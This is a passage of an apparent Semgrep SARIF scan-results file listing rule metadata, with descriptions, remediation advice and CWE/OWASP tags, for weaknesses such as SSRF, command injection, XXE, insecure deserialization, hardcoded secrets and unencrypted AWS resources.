sources."},"help":{"markdown":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected","id":"python.lang.security.audit.exec-detected.exec-detected","name":"python.lang.security.audit.exec-detected.exec-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.exec-detected.exec-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"help":{"markdown":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security)\n - [https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration](https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration)\n","text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"helpUri":"https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","id":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","name":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"help":{"markdown":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password)\n - [https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password](https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password)\n","text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","id":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","name":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"help":{"markdown":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2)\n - [https://jinja.palletsprojects.com/en/2.11.x/api/#basics](https://jinja.palletsprojects.com/en/2.11.x/api/#basics)\n","text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","id":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","name":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"help":{"markdown":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html)\n","text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","id":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","name":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","id":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","name":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.audit.jose-exposed-data.jose-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"help":{"markdown":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io)\n","text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","id":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","name":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"help":{"markdown":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type)\n - [https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html](https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html)\n","text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","id":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","name":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django","id":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","name":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-joblib-django.tainted-joblib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"help":{"markdown":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel)\n - [https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ](https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ)\n","text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","id":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","name":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted 